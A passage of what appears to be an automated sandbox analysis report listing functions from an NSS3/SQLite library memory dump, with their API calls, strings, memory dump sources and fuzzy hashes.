Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 592195E264020527FB006A61AD91FFB327C9B4575CF684038FD04D9746FB27D5298372

Function 6CE52E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E

Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91
Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
Part of subcall function 6CEAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33

Part of subcall function 6CEAFD80: free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

TlsGetValue.KERNEL32 ref: 6CE52E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
PL_HashTableLookup.NSS3(?), ref: 6CE52E71
PL_HashTableRemove.NSS3(?), ref: 6CE52E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
PR_Unlock.NSS3 ref: 6CE52EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE52EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE52EC5

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 8fa8b77e8e847f44fab9fb25e4384e8cccce64cdbdb3d58ef204a395c8a85fa6
Instruction ID: 83c9134bbe055912e52b1b83e02de38759513cc350737315b933a81d6cfc7aac
Opcode Fuzzy Hash: 8fa8b77e8e847f44fab9fb25e4384e8cccce64cdbdb3d58ef204a395c8a85fa6
Instruction Fuzzy Hash: A6210472F04101ABEF021B64EC49B9A3A79EB6239DF244434ED1896711FB33D669C7E1

Function 6CE3FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE3FD18
sqlite3_initialize.NSS3 ref: 6CE3FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE3FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE3FD99
sqlite3_free.NSS3(00000000), ref: 6CE3FE3C
sqlite3_free.NSS3(?), ref: 6CE3FEE3
sqlite3_free.NSS3(?), ref: 6CE3FEEE

Strings

simple, xrefs: 6CE3FC79

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: ec61952624407ef00c9440a0186c7a651673364cef1a49cbbf7bddbf964b9854
Instruction ID: 7563ccd30647141edcb60ede4231898dcac0e6c0dfae113e31e3211484c650bb
Opcode Fuzzy Hash: ec61952624407ef00c9440a0186c7a651673364cef1a49cbbf7bddbf964b9854
Instruction Fuzzy Hash: 49917FB0A012158FDB04CF55C984BAAB7B1FF85318F35C5A9D8199BB52D739F801CB90

Function 6CE45CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE45EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE45EED

Strings

invalid, xrefs: 6CE45EBE
%s at line %d of [%.10s], xrefs: 6CE45EE0
misuse, xrefs: 6CE45EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE45ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE45E64
API call with %s database connection pointer, xrefs: 6CE45EC3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 765cae9bef616f7d1cf29c03c90909088f45480005950b30ba617d325125d456
Instruction ID: cae583da165126cb0a61a957bc386642a7a3b7b58386fb2fe10b6ec5e6113e62
Opcode Fuzzy Hash: 765cae9bef616f7d1cf29c03c90909088f45480005950b30ba617d325125d456
Instruction Fuzzy Hash: 1281C070B07A029BEB198F65E848B6A7770BF4230CF39826DD8155BB51D730EC42CB92

Function 6CE2DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE2DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE2DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE2DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE2DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE2DF78

Strings

%s at line %d of [%.10s], xrefs: 6CE2DE61, 6CE2DE90
database corruption, xrefs: 6CE2DE5C, 6CE2DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE2DE52, 6CE2DE81

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 85e70126177fa8c5d2ee432e41ad399d419d42b8e257a6a428ad2d3529378a0e
Instruction ID: bd84589e9a49570e64f9b5e86a178f0aa74f6f912d3e9450cf4bf2aa4239d410
Opcode Fuzzy Hash: 85e70126177fa8c5d2ee432e41ad399d419d42b8e257a6a428ad2d3529378a0e
Instruction Fuzzy Hash: 5D81F4756047009FD714CF25C880B6A77F1BF4530CF24892DEA8A8BB51EB39EA46CB52

Function 6CDDCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDDB999), ref: 6CDDCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDDB999), ref: 6CDDD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDDB999), ref: 6CDDD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDDB999), ref: 6CF2972B

Strings

%s at line %d of [%.10s], xrefs: 6CDDCFEC, 6CDDD018, 6CDDD029, 6CDDD03F, 6CF2978B
database corruption, xrefs: 6CDDCFE7, 6CDDD013, 6CDDD028, 6CDDD039, 6CDDD03E, 6CF29786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDCFDD, 6CDDD00E, 6CDDD022, 6CDDD033, 6CF29780

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: eda1a276bf3814b27a52cac6ee9f6d5d1e2a7a5a97e32433556d4e8196014c4f
Instruction ID: 86a664f5414e1239b6170812dd11ff977306e59ef9671bcf7b49ddb3e86baf73
Opcode Fuzzy Hash: eda1a276bf3814b27a52cac6ee9f6d5d1e2a7a5a97e32433556d4e8196014c4f
Instruction Fuzzy Hash: B6613871A052108BD310CF69C840BA6B7F5EF85318F29466DE4889FB52D376E947C7E1

Function 6CEDFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CEE0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE0130
PORT_Alloc_Util.NSS3(00000040), ref: 6CEE015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CEE01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CEE0202
free.MOZGLUE(?), ref: 6CEE0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE0253

Strings

exporter, xrefs: 6CEE00F7

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: ea02ef4195c9eac044ac3f6348263b708979919787f01c6dcbdc07d2fbb6eed9
Instruction ID: 2516586fc12dfe8f6bc69b7ea90b1b768f3d9f27dd8d0055ee7076736cd6547b
Opcode Fuzzy Hash: ea02ef4195c9eac044ac3f6348263b708979919787f01c6dcbdc07d2fbb6eed9
Instruction Fuzzy Hash: BA611272D007899BEB118FA4DC00BEE77B6FF4834CF24452CE91A5A761EB319955D740

Function 6CEB4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CEB536F,00000022,?,?,00000000,?), ref: 6CEB4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CEB4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CEB4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CEB4FAE
free.MOZGLUE(?), ref: 6CEB4FC8

Strings

%s=%s, xrefs: 6CEB4F89
oSl", xrefs: 6CEB4DFB, 6CEB4EF4, 6CEB4EC5
%s=%c%s%c, xrefs: 6CEB4FA9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 406ead14af2e2e6374492417459de0dcd0c4f940ff5109c7644ed60086cfc6c3
Instruction ID: 351484c25d15f20bf506ced6a66a5ec9e11c150c31a542a93cfe667bf72e57b4
Opcode Fuzzy Hash: 406ead14af2e2e6374492417459de0dcd0c4f940ff5109c7644ed60086cfc6c3
Instruction Fuzzy Hash: C2513971A051598BEB02CA69C6917FFBBF59F4230CF388127F894BBB41D335980687A1

Function 6CEDEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEF6D

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

htonl.WSOCK32(00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEFE4
htonl.WSOCK32(?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEFF1
memcpy.VCRUNTIME140(?,?,6CEFA4A1,?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDF027

Strings

dtls13, xrefs: 6CEDEF33

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 07a36977ecdf59bb1c8ea08dfe028707e105276395e76bbf191d4102f071d641
Instruction ID: 1da4d489771a66a2eb6bcdc8a99fdc4399a8908b26bd7a81f39f67a2db50c9fc
Opcode Fuzzy Hash: 07a36977ecdf59bb1c8ea08dfe028707e105276395e76bbf191d4102f071d641
Instruction Fuzzy Hash: 6A31C271A016119BC710DF28DC85B9AB7F4EF49348F268029E8189B751E731F916CBE2

Function 6CE5AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE5AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF79500,6CE53F91), ref: 6CE5AFD2

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

DER_GetInteger_Util.NSS3(?), ref: 6CE5B007

Part of subcall function 6CEA6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE51666,?,6CE5B00C,?), ref: 6CEA6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE5B02F
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE5B046
PL_FreeArenaPool.NSS3 ref: 6CE5B058
PL_FinishArenaPool.NSS3 ref: 6CE5B060

Strings

security, xrefs: 6CE5AFB8

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: e279ca29e1a538f764ab0d92b122a515fd59613df3af06592d47e78ed6337fee
Instruction ID: 023fa78a122881f2b578fda1be5a8f88e757e78104663f8f8de3ac9017e30b4b
Opcode Fuzzy Hash: e279ca29e1a538f764ab0d92b122a515fd59613df3af06592d47e78ed6337fee
Instruction Fuzzy Hash: F031F271804300DBDB108F24D845BAA77B8AF8632CF70061DE8B4ABBD1E733951AC796

Function 6CE53E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE53F7F,?,00000055,?,?,6CE51666,?,?), ref: 6CE540D9
Part of subcall function 6CE540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE51666,?,?), ref: 6CE540FC
Part of subcall function 6CE540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE51666,?,?), ref: 6CE54138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
PL_FreeArenaPool.NSS3 ref: 6CE53F14
PL_FinishArenaPool.NSS3 ref: 6CE53F1C

Part of subcall function 6CEB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEB127C,00000000,00000000,00000000), ref: 6CEB650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

Strings

security, xrefs: 6CE53EBC

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: fc8b0dd239a1676eb4a842de6d7968b871b0e91391df70cb8157ff0c5d03a6e5
Instruction ID: 62c834ca23091e35e5c834bed5940587a6453e991a8232261e6e58a153899686
Opcode Fuzzy Hash: fc8b0dd239a1676eb4a842de6d7968b871b0e91391df70cb8157ff0c5d03a6e5
Instruction Fuzzy Hash: BD210AB1A04300ABD3148B15AC42FAB77B8FB8931CF54053DF959A7741E732D9288796

Function 6CE9CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CE9CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CE9CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CE9D079

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: b67c2b83ac72375ebbb54be745e509164ba01a6ae9a009e5b7fd4c7d528d25b1
Instruction ID: 86a45685b395f29fdbcf14c8d0d8739abbcc59a9fa5399e73f52898021f4d095
Opcode Fuzzy Hash: b67c2b83ac72375ebbb54be745e509164ba01a6ae9a009e5b7fd4c7d528d25b1
Instruction Fuzzy Hash: ABC19CB5A002199BDB20DF24CC80BDAB7B5BF48318F2441A8E94DA7741E775EE95CF90

Function 6CE8DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CE997C1,?,00000000,00000000,?,?,?,00000000,?,6CE77F4A,00000000), ref: 6CE8DC68

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DFAA

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
